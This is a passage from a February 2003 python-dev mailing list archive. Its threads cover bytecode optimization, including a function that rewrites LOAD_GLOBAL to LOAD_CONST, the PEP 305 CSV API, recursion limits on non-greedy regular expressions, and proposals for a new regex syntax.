simple cycle counter instrumentation I did for Python 2.2. The idea is to use the Pentium cycle counter to measure the number of cycles spent on each trip through the mainloop. A rough conclusion from the previous measurements was that trivial opcodes like POP_TOP can execute in less than 100 cycles, including opcode dispatch. An opcode that involves calling out to a C function never executes in less than 100 cycles, and often takes 100s of cycles. There's a patch floating around sourceforge somewhere. Jeremy From zooko@zooko.com Wed Feb 26 17:27:39 2003 From: zooko@zooko.com (Zooko) Date: Wed, 26 Feb 2003 12:27:39 -0500 Subject: [Python-Dev] Bytecode idea In-Reply-To: Message from "Jeremy Hylton" of "Wed, 26 Feb 2003 11:55:29 EST." References: Message-ID: Jeremy Hylton wrote: > > If you are benchmarking various opcode effects, I'd recommend trying to > revive the simple cycle counter instrumentation I did for Python 2.2. The > idea is to use the Pentium cycle counter to measure the number of cycles > spent on each trip through the mainloop. For Linux >= 2.4 and an x86 CPU, oprofile will tell you (stochastically) how many CPU cycles are spent on each x86 instruction. http://oprofile.sourceforge.net/ From csv@mail.mojam.com Wed Feb 26 18:03:20 2003 From: csv@mail.mojam.com (Skip Montanaro) Date: Wed, 26 Feb 2003 12:03:20 -0600 Subject: [Python-Dev] PEP 305 - CSV File API - please have a look Message-ID: <15965.360.659692.788321@montanaro.dyndns.org> Folks, In advance of asking Guido to review and pronounce on PEP 305 and its related code, I'd like to ask you to take a few minutes to review what we've produced. There is the PEP, of course: http://www.python.org/peps/pep-0305.html but there is also source code, a large number of test cases and a libref section available in the CVS sandbox. Cliff Wells is working on a csvutils module which will contain adaptations of the "sniffing" routines from his DSV package. Just do a "csv up -dP ." in your nondist/sandbox directory to get the latest version of everything. Feel free to review and/or comment on any or all of it, but please please post your comments to the csv@mail.mojam.com mailing list. You can review our rather active correspondence at http://manatee.mojam.com/pipermail/csv/ or if you're really excited about CSV files, you can subscribe at http://manatee.mojam.com/mailman/listinfo/csv Thx, Skip From tjreedy@udel.edu Wed Feb 26 18:06:44 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Wed, 26 Feb 2003 13:06:44 -0500 Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> Message-ID: "Skip Montanaro" wrote in message news:15964.59840.342254.176499@montanaro.dyndns.org... > For code that wants to cleanly cross the boundary between Python with no > boolean type and Python with a boolean type, you sometimes see > > True = 1==1 > False = 1==0 > > You get True and False if it didn't exist before and have the added benefit > that if it does exist, it gets found in globals() or locals() instead of in > __builtins__ and has the right type. This suggests a more radical optimization that might do more speedup than all the byte-code fiddling currently proposed: automatically localize, at definition time, builtins used within a function. This would be like giving each function a customized implicit set of default args: True=True, None=None, len=len, ...etc. If a program alters __builtins__, def statement placement would determine which version gets used. A non-code-breaking alternative: add a localize() builtin that does the fixup after the fact, something like staticmethod() and classmethod(). If made recursively applicable to classes and modules as well as functions, one could end the setup phase of a long running program with localize(__import__(__name__)) to localize everything A speedup of fraction x at cost of time t would pay if the program runs longer than t/x. (Example: .05 reduction with 1 minute fixup pays after 1/.05 = 20 minutes.) I don't really know, but I imagine that psyco, for instance, would benefit by having builtins localized and detectibly constant (by the lack of any redefinition within the function). As it is now, neither the compiler nor psyco can assume that True, for instance, is not rebound between function invocations. Turning builtins into default locals isolates a function much more than it now is. Well, just some crazy thoughts... Terry J. Reedy From mal@lemburg.com Wed Feb 26 18:23:48 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 26 Feb 2003 19:23:48 +0100 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <200302260258.44868.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> <3E5C8411.6080504@lemburg.com> <200302260258.44868.gherron@islandtraining.com> Message-ID: <3E5D0634.6010504@lemburg.com> Gary Herron wrote: > On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote: > >>Gary Herron wrote: >> >>>The first glance at the regular expression bug list and the _sre.c >>>code results in the observation that several of the bugs are related >>>to running over the recursion limit. The problem comes from using a >>>pattern containing ".*?" in a situation where it is expected to match >>>many thousands of characters. Each character matched by ".*?" causes >>>one level or recursion, quickly overflowing the recursion limit. >> >>Wouldn't it be possible for the RE compiler to issue a warning in >>case these kind of patterns are used ? This would be much more helpful >>than trying to work-around the user problem. > > I think not. It's not the pattern that's the problem. A pattern > containing ".*?" is perfectly legitimate and useful. Hmm, could you explain where ".*?" is useful ? > The problem > arises when the pattern is used on a string which has thousands of > characters which match. By that point the RE compiler is right out of > the picture. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 26 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 34 days left EuroPython 2003, Charleroi, Belgium: 118 days left From gherron@islandtraining.com Wed Feb 26 18:34:11 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 10:34:11 -0800 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <3E5D0634.6010504@lemburg.com> References: <200302260022.15512.gherron@islandtraining.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com> Message-ID: <200302261034.11172.gherron@islandtraining.com> On Wednesday 26 February 2003 10:23 am, M.-A. Lemburg wrote: > Gary Herron wrote: > > On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote: > >>Gary Herron wrote: > >>>The first glance at the regular expression bug list and the _sre.c > >>>code results in the observation that several of the bugs are related > >>>to running over the recursion limit. The problem comes from using a > >>>pattern containing ".*?" in a situation where it is expected to match > >>>many thousands of characters. Each character matched by ".*?" causes > >>>one level or recursion, quickly overflowing the recursion limit. > >> > >>Wouldn't it be possible for the RE compiler to issue a warning in > >>case these kind of patterns are used ? This would be much more helpful > >>than trying to work-around the user problem. > > > > I think not. It's not the pattern that's the problem. A pattern > > containing ".*?" is perfectly legitimate and useful. > > Hmm, could you explain where ".*?" is useful ? Yes, easily. It's the non-greedy version of "match all". The manual page for the re module has this nice example: *?, +?, ?? The "*", "+", and "?" qualifiers are all greedy; they match as much text as possible. Sometimes this behaviour isn't desired; if the RE <.*> is matched against '

title

', it will match the entire string, and not just '

'. Adding "?" after the qualifier makes it perform the match in non-greedy or minimal fashion; as few characters as possible will be matched. Using .*? in the previous expression will match only '

'. > > The problem > > arises when the pattern is used on a string which has thousands of > > characters which match. By that point the RE compiler is right out of > > the picture. From amk@amk.ca Wed Feb 26 18:34:34 2003 From: amk@amk.ca (A.M. Kuchling) Date: Wed, 26 Feb 2003 13:34:34 -0500 Subject: [Python-Dev] Re: Some questions about maintenance of the regular expression code. In-Reply-To: <3E5D0634.6010504@lemburg.com> References: <200302260022.15512.gherron@islandtraining.com> <3E5C8411.6080504@lemburg.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com> Message-ID: M.-A. Lemburg wrote: > Hmm, could you explain where ".*?" is useful ? The most common example comes from writing a regex to match bits of HTML. If you have a pattern like this: (.*) and your input text is blah blah, group 2 in the pattern will match 'blah blah', which is not the link text that you want. If you write .*?, then group 2 matches just "blah", which is more useful. --amk (www.amk.ca) Ominous, isn't it? -- The Doctor, in "The Awakening" From fdrake@acm.org Wed Feb 26 18:39:54 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Wed, 26 Feb 2003 13:39:54 -0500 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <200302261034.11172.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com> <200302261034.11172.gherron@islandtraining.com> Message-ID: <15965.2554.9046.712509@grendel.zope.com> M.-A. Lemburg asked: > Hmm, could you explain where ".*?" is useful ? Gary Herron responded: > Yes, easily. It's the non-greedy version of "match all". The manual > page for the re module has this nice example: I think the problem is that .*? is too similar to (.*)? -- especially for people who aren't familiar with the non-greedy versions of the operators. This certainly stumped me as well. I'm not sure what can be done about that, though. -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From Ludovic.Aubry@logilab.fr Wed Feb 26 18:56:46 2003 From: Ludovic.Aubry@logilab.fr (Ludovic Aubry) Date: Wed, 26 Feb 2003 19:56:46 +0100 Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea In-Reply-To: References: <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> Message-ID: <20030226185645.GC24106@logilab.fr> On Wed, Feb 26, 2003 at 01:06:44PM -0500, Terry Reedy wrote: > > "Skip Montanaro" wrote in message > news:15964.59840.342254.176499@montanaro.dyndns.org... > > For code that wants to cleanly cross the boundary between Python > with no > > boolean type and Python with a boolean type, you sometimes see > > > > True = 1==1 > > False = 1==0 > > > > You get True and False if it didn't exist before and have the added > benefit > > that if it does exist, it gets found in globals() or locals() > instead of in > > __builtins__ and has the right type. > > This suggests a more radical optimization that might do more speedup > than all the byte-code fiddling currently proposed: automatically > localize, at definition time, builtins used within a function. This > would be like giving each function a customized implicit set of > default args: True=True, None=None, len=len, ...etc. > If a program alters __builtins__, def statement placement would > determine which version gets used. > Hi, I have a piece of code that does (almost) exactly that, except at runtime. It's purpose is to optimize access to globals used as constants by replacing the LOAD_GLOBAL opcode by a LOAD_CONST. It does that by creating a new code object for the function you provide and using a list of symbols to consider constant. I called it bind, because it works like the postscript bind operator the code for the main function is below, you can find the full module at ftp://ftp.logilab.org/pub/tmp/bind.py it can provide a 10% speedup although most of the time it is around 3% to 5% regards, Ludovic from dis import HAVE_ARGUMENT from new import code as make_code, function as make_function import inspect LOAD_GLOBAL = 116 LOAD_CONST = 100 EXTENDED_ARG = 143 STORE_GLOBAL = 97 def bind_code(co,globals): """Take a code object and a dictionnary and returns a new code object where the opcodes LOAD_GLOBAL are replaced by LOAD_CONST whenever the global's name appear in the dictionnary""" consts = list(co.co_consts) assigned = {} code = co.co_code new_code="" n = len(code) i = 0 while i < n: c = code[i] op = ord(c) i+=1 if op >= HAVE_ARGUMENT: oparg = ord(code[i]) + ord(code[i+1])*256 i += 2 else: oparg=None if op == LOAD_GLOBAL: name = co.co_names[oparg] if globals.has_key(name): k = assigned.get(name,None) if k==None: k=len(consts) assigned[name]=len(consts) consts.append(globals[name]) op = LOAD_CONST oparg=k new_code+=chr(op) if oparg is not None: new_code += chr(oparg & 255) new_code += chr( (oparg>>8) & 255 ) return make_code(co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, new_code, tuple(consts), co.co_names, co.co_varnames, co.co_filename, co.co_name, co.co_firstlineno, co.co_lnotab ) def bind(f,globals): """Returns a new function whose code object has been bound by bind_code()""" newcode = bind_code(f.func_code,globals) defaults = f.func_defaults or () return make_function(newcode,f.func_globals,f.func_name,defaults) -- Ludovic Aubry LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From gherron@islandtraining.com Wed Feb 26 19:07:42 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 11:07:42 -0800 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <15965.2554.9046.712509@grendel.zope.com> References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> Message-ID: <200302261107.42594.gherron@islandtraining.com> On Wednesday 26 February 2003 10:39 am, Fred L. Drake, Jr. wrote: > M.-A. Lemburg asked: > > Hmm, could you explain where ".*?" is useful ? > > Gary Herron responded: > > Yes, easily. It's the non-greedy version of "match all". The manual > > page for the re module has this nice example: > > I think the problem is that .*? is too similar to (.*)? -- especially > for people who aren't familiar with the non-greedy versions of the > operators. This certainly stumped me as well. > > I'm not sure what can be done about that, though. It stumped my for a while also, even though I've used them on occasion. In general I find regular expressions mostly unreadable. Solutions for that problem would occupy a (probably long and hopefully different) thread. From tim.one@comcast.net Wed Feb 26 19:25:14 2003 From: tim.one@comcast.net (Tim Peters) Date: Wed, 26 Feb 2003 14:25:14 -0500 Subject: [Python-Dev] Re: Some questions about maintenance of the regular expression code. In-Reply-To: Message-ID: An irony is that *? is almost always used like so: .*? some_literal_string where the user *intends* "search right for the first appearance of some_literal_string, and chew up the characters until then". If that's what .*? actually meant (it doesn't), it could be implemented very efficiently without recursion. Instead, regexp engines work supernaturally hard to implement something few users understand, and very few actually want. I love regexps . From mal@lemburg.com Wed Feb 26 20:35:34 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 26 Feb 2003 21:35:34 +0100 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <200302261034.11172.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> <200302260258.44868.gherron@islandtraining.com> <3E5D0634.6010504@lemburg.com> <200302261034.11172.gherron@islandtraining.com> Message-ID: <3E5D2516.6090702@lemburg.com> Gary Herron wrote: > On Wednesday 26 February 2003 10:23 am, M.-A. Lemburg wrote: >>>>>The first glance at the regular expression bug list and the _sre.c >>>>>code results in the observation that several of the bugs are related >>>>>to running over the recursion limit. The problem comes from using a >>>>>pattern containing ".*?" in a situation where it is expected to match >>>>>many thousands of characters. Each character matched by ".*?" causes >>>>>one level or recursion, quickly overflowing the recursion limit. >>>> >>>>Wouldn't it be possible for the RE compiler to issue a warning in >>>>case these kind of patterns are used ? This would be much more helpful >>>>than trying to work-around the user problem. >>> >>>I think not. It's not the pattern that's the problem. A pattern >>>containing ".*?" is perfectly legitimate and useful. >> >>Hmm, could you explain where ".*?" is useful ? > > Yes, easily. It's the non-greedy version of "match all". The manual > page for the re module has this nice example: > > *?, +?, ?? > The "*", "+", and "?" qualifiers are all greedy; they match as much > text as possible. Sometimes this behaviour isn't desired; if the RE > <.*> is matched against '

title

', it will match the entire > string, and not just '

'. Adding "?" after the qualifier makes it > perform the match in non-greedy or minimal fashion; as few > characters as possible will be matched. Using .*? in the previous > expression will match only '

'. Ah, ok. I usually write "<[^>]+>" for these things, if at all... I tend to use mxTextTools for parsing :-) >>>The problem >>>arises when the pattern is used on a string which has thousands of >>>characters which match. By that point the RE compiler is right out of >>>the picture. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 26 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 34 days left EuroPython 2003, Charleroi, Belgium: 118 days left From bac@OCF.Berkeley.EDU Wed Feb 26 20:39:41 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Wed, 26 Feb 2003 12:39:41 -0800 (PST) Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: <200302261107.42594.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> Message-ID: [Gary Herron] > It stumped my for a while also, even though I've used them on > occasion. The '|' has always thrown me; always want it to bind more tightly. > In general I find regular expressions mostly unreadable. Ditto. > Solutions for that problem would occupy a (probably long and hopefully > different) thread. > Is there enough interest to actually put the time and effort into attempting to develop new regex syntax? There is obviously always the option to follow Perl 6's suggested new syntax. We could also come up with a more Pythonic solution. I suspect this would be big enough to require its own SIG or something. Ping has a module at http://lfw.org/python/rxb15.py that creates regexes patterns using a much more straight-forward syntax by using actual words to represent things; there are functions like 'maybe', 'exactly', etc. (don't know how powerful it is, though; he just showed it to me briefly two weeks ago). -Brett From ping@zesty.ca Wed Feb 26 20:50:31 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Wed, 26 Feb 2003 14:50:31 -0600 (CST) Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: Message-ID: On Wed, 26 Feb 2003, Brett Cannon wrote: > Is there enough interest to actually put the time and effort into > attempting to develop new regex syntax? I would be excited about this. I've long dreamed of a more human-friendly way to do regular expressions. Let's see if there's interest here, and if there is enough, perhaps we can discuss the details on a separate list (no point in having more syntax arguments on python-dev until there's a concrete proposal, i think). > Ping has a module at http://lfw.org/python/rxb15.py that creates regexes > patterns using a much more straight-forward syntax by using actual words > to represent things; there are functions like 'maybe', 'exactly', etc. > (don't know how powerful it is, though; he just showed it to me briefly > two weeks ago). It can do most things that i use regular expressions for. I used it regularly for a while, but it's somewhat slow. -- ?!ng From mal@lemburg.com Wed Feb 26 20:55:50 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 26 Feb 2003 21:55:50 +0100 Subject: [Python-Dev] Re: Code Generation Idea Was: Bytecode idea In-Reply-To: <20030226185645.GC24106@logilab.fr> References: <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <15964.59840.342254.176499@montanaro.dyndns.org> <20030226185645.GC24106@logilab.fr> Message-ID: <3E5D29D6.90803@lemburg.com> Ludovic Aubry wrote: > On Wed, Feb 26, 2003 at 01:06:44PM -0500, Terry Reedy wrote: >>This suggests a more radical optimization that might do more speedup >>than all the byte-code fiddling currently proposed: automatically >>localize, at definition time, builtins used within a function. This >>would be like giving each function a customized implicit set of >>default args: True=True, None=None, len=len, ...etc. >>If a program alters __builtins__, def statement placement would >>determine which version gets used. >> > > I have a piece of code that does (almost) exactly that, except at > runtime. > It's purpose is to optimize access to globals used as constants by > replacing the LOAD_GLOBAL opcode by a LOAD_CONST. > It does that by creating a new code object for the function you provide > and using a list of symbols to consider constant. > > [code] I suppose this kind of code could be put to some good use if we ever get some of the recently discussed function modifiers into Python: def myFunction(a,b) [bindglobals]: for i in range(len(a)): b[i] = math.sin(a[i]) * math.cos(2) Hmm, now we'd only need a way to describe "this function has no side-effects and behaves like a mathematical function (same inputs map to same outputs)"... then we could also optimize cos(2) into the constants area :-) -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 26 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 34 days left EuroPython 2003, Charleroi, Belgium: 118 days left From guido@python.org Wed Feb 26 21:04:03 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 16:04:03 -0500 Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: Your message of "Wed, 26 Feb 2003 12:39:41 PST." References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> Message-ID: <200302262104.h1QL44j22127@odiug.zope.com> > Is there enough interest to actually put the time and effort into > attempting to develop new regex syntax? I suggest dropping this subject before it takes over all available bandwidth in python-dev. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From gherron@islandtraining.com Wed Feb 26 21:22:12 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 13:22:12 -0800 Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: References: Message-ID: <200302261322.12286.gherron@islandtraining.com> On Wednesday 26 February 2003 12:50 pm, Ka-Ping Yee wrote: > On Wed, 26 Feb 2003, Brett Cannon wrote: > > Is there enough interest to actually put the time and effort into > > attempting to develop new regex syntax? Interesting idea, but lets get back to topic at hand, that being an attempt to *reduce* the number of regular expression bugs not *increase* their count. :-) What to do about RE's that hit the recursion limit? Gary Herron From amk@amk.ca Wed Feb 26 21:57:45 2003 From: amk@amk.ca (A.M. Kuchling) Date: Wed, 26 Feb 2003 16:57:45 -0500 Subject: [Python-Dev] Re: re recursion limit In-Reply-To: <200302261322.12286.gherron@islandtraining.com> References: <200302261322.12286.gherron@islandtraining.com> Message-ID: Gary Herron wrote: > What to do about RE's that hit the recursion limit? I haven't had a chance to look at the SRE code in detail yet, but expect that the problem is that the straightforward way to implement .*? is with a C function call. PCRE also implemented it with a function call; Python avoided the limit by forking PCRE and adding a heap-allocated stack and pushing states onto the stack instead of recursing, which is why pre avoids the recursion limit (well, until you fill up your entire heap). The problem is that the patches to do this were extensive and ugly. Maybe just fixing the problem for .* will be sufficient. Incidentally, before we go making lots of changes, has anyone actually pinged Fredrik about the SRE code? His usual approach with software is to process patches and TODO items every N months; maybe he just hasn't gotten around to looking at the SRE backlog? --amk (www.amk.ca) KENT: Thou whoreson zed! thou unnecessary letter! -- _King Lear_, II, ii From gherron@islandtraining.com Wed Feb 26 22:05:42 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 14:05:42 -0800 Subject: [Python-Dev] Re: re recursion limit In-Reply-To: References: <200302261322.12286.gherron@islandtraining.com> Message-ID: <200302261405.42622.gherron@islandtraining.com> On Wednesday 26 February 2003 01:57 pm, A.M. Kuchling wrote: > Gary Herron wrote: > > What to do about RE's that hit the recursion limit? > > I haven't had a chance to look at the SRE code in detail yet, but expect > that the problem is that the straightforward way to implement .*? is > with a C function call. PCRE also implemented it with a function call; > Python avoided the limit by forking PCRE and adding a heap-allocated > stack and pushing states onto the stack instead of recursing, which is > why pre avoids the > recursion limit (well, until you fill up your entire heap). > > The problem is that the patches to do this were extensive and ugly. > Maybe just fixing the problem for .* will be sufficient. Actually .* does not seem to have this recursion problem, only .*? -- I don't yet know why. > Incidentally, before we go making lots of changes, has anyone actually > pinged Fredrik about the SRE code? His usual approach with software is > to process patches and TODO items every N months; maybe he just hasn't > gotten around to looking at the SRE backlog? I sent a copy of my original post to him. I've had no response yet, but it's been less than a day. Gary Herron From logi.stix@verizon.net Wed Feb 26 22:18:31 2003 From: logi.stix@verizon.net (logistix) Date: Wed, 26 Feb 2003 17:18:31 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302261552.h1QFqHa19452@odiug.zope.com> Message-ID: <000001c2dde4$ffcc8270$20bba8c0@XP> > -----Original Message----- > From: python-dev-admin@python.org > [mailto:python-dev-admin@python.org] On Behalf Of Guido van Rossum > Sent: Wednesday, February 26, 2003 10:52 AM > To: skip@pobox.com > Cc: python-dev@python.org > Subject: Re: [Python-Dev] Bytecode analysis > > > > I have long had a version of dis.py which imports opcode > info from a > > separate opcodes.py. Perhaps it's time to make that change. > > opcodes.py could then be mostly generated automatically from > > Include/opcode.h. > > > > (The reason for separating this out is to make opcode info > available > > to other modules, like peephole optimizers.) > > > > Should I submit a patch? > > Yes please! > While the subject is up, I previously submitted a patch [683074] to allow you to specify an output stream. Right now dis just uses print, which made it a little difficult to redirect the output. Is there any interest in this feature? If so, I'll update the patch against Skip's. If not, or if there are objections, the patch can be closed out. -Grant From amk@amk.ca Wed Feb 26 22:19:51 2003 From: amk@amk.ca (A.M. Kuchling) Date: Wed, 26 Feb 2003 17:19:51 -0500 Subject: [Python-Dev] Re: re recursion limit In-Reply-To: <200302261405.42622.gherron@islandtraining.com> References: <200302261322.12286.gherron@islandtraining.com> <200302261405.42622.gherron@islandtraining.com> Message-ID: Gary Herron wrote: >I wrote: >>Maybe just fixing the problem for .* will be sufficient. Sorry, brain error on my part: I meant fixing it for .*?. .* doesn't have a problem because the engine can chew up as many matches for '.' as possible, try the rest of the pattern, and then back up for '.'. In other words: .* requires stack space proportional to the size of the regex pattern, which is OK; .*?, as currently implemented, requires stack space proportional to the size of *the string being matched*, which is what causes the problem. --amk (www.amk.ca) MIRANDA: Your tale, sir, would cure deafness. -- _The Tempest_, I, ii From guido@python.org Wed Feb 26 22:20:26 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 17:20:26 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: Your message of "Wed, 26 Feb 2003 17:18:31 EST." <000001c2dde4$ffcc8270$20bba8c0@XP> References: <000001c2dde4$ffcc8270$20bba8c0@XP> Message-ID: <200302262220.h1QMKQ722789@odiug.zope.com> > While the subject is up, I previously submitted a patch [683074] to > allow you to specify an output stream. Right now dis just uses print, > which made it a little difficult to redirect the output. Is there any > interest in this feature? If so, I'll update the patch against Skip's. > If not, or if there are objections, the patch can be closed out. -1 You can redirect everything's output to a file by assigning that file to sys.stdout. I really don't think we need to add output file options to every class in the standard library. dis is primarily an interactive and debugging tool. And you can always subclass it. --Guido van Rossum (home page: http://www.python.org/~guido/) From erik@pythonware.com Wed Feb 26 22:29:53 2003 From: erik@pythonware.com (erik heneryd) Date: Wed, 26 Feb 2003 23:29:53 +0100 Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> Message-ID: <3E5D3FE1.4050301@pythonware.com> Brett Cannon wrote: >>In general I find regular expressions mostly unreadable. >> >> > >Ditto. > > I'd say both regular expressions and the corresponding python code can be pretty incomprehensible. Regexes because they're too dense and complex, python code becuase it's too lengthy to describe what parts of a string you're after. I've stumbled upon both 100 char regexes and 25 line python string manipulation snippets - both variants taking a while to figure out what they do. ...but I guess the design of a new, better, string matching sublanguage wasn't the topic here? or am I mistaken? Erik From guido@python.org Wed Feb 26 22:29:43 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 17:29:43 -0500 Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: Your message of "Wed, 26 Feb 2003 23:29:53 +0100." <3E5D3FE1.4050301@pythonware.com> References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> <3E5D3FE1.4050301@pythonware.com> Message-ID: <200302262229.h1QMThr22877@odiug.zope.com> > ...but I guess the design of a new, better, string matching sublanguage > wasn't the topic here? Not unless you want to change Python into Perl. --Guido van Rossum (home page: http://www.python.org/~guido/) From bac@OCF.Berkeley.EDU Wed Feb 26 22:39:23 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Wed, 26 Feb 2003 14:39:23 -0800 (PST) Subject: [Python-Dev] New regex syntax? (was: Some questions about maintenance of the regular expression code.) In-Reply-To: <200302262104.h1QL44j22127@odiug.zope.com> References: <200302260022.15512.gherron@islandtraining.com> <200302261034.11172.gherron@islandtraining.com> <15965.2554.9046.712509@grendel.zope.com> <200302261107.42594.gherron@islandtraining.com> <200302262104.h1QL44j22127@odiug.zope.com> Message-ID: [Guido van Rossum] > > Is there enough interest to actually put the time and effort into > > attempting to develop new regex syntax? > > I suggest dropping this subject before it takes over all available > bandwidth in python-dev. :-) > =) Agreed. If anyone wants to continue discussing this, just email me personally and we can take this off-list and gauge the interest level. -Brett From gherron@islandtraining.com Wed Feb 26 22:57:50 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 14:57:50 -0800 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <200302260022.15512.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> Message-ID: <200302261457.50937.gherron@islandtraining.com> Greg Chapman may have provided an effective end to this thread. He sent me (apparently via private email since I haven't seen it on this list yet) a patch which removes the recursion in simple uses of .*?. The code is patterened after the way simple uses of .* are currently handled without recursion. Still complex uses of either minimizing or maximizing repeats will recurse. For example (a|b)*c and (a|b)*?c will both recurse as they chew through a string of a's and b's. I don't consider this a bug. I'll test his patch tonight. Thank you Greg, Gary Herron From greg@cosc.canterbury.ac.nz Wed Feb 26 23:22:06 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 27 Feb 2003 12:22:06 +1300 (NZDT) Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <200302261501.h1QF1kN19036@odiug.zope.com> Message-ID: <200302262322.h1QNM6200468@oma.cosc.canterbury.ac.nz> > there's currently lots of code out there > that was recently modified to read > > try: > True > except NameError: > True = 1 > False = 0 Maybe assignment to them could be allowed provided the value being assigned is == to their official value? (The actual assignment needn't be done, just suppression of any exception.) Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From greg@cosc.canterbury.ac.nz Wed Feb 26 23:33:33 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 27 Feb 2003 12:33:33 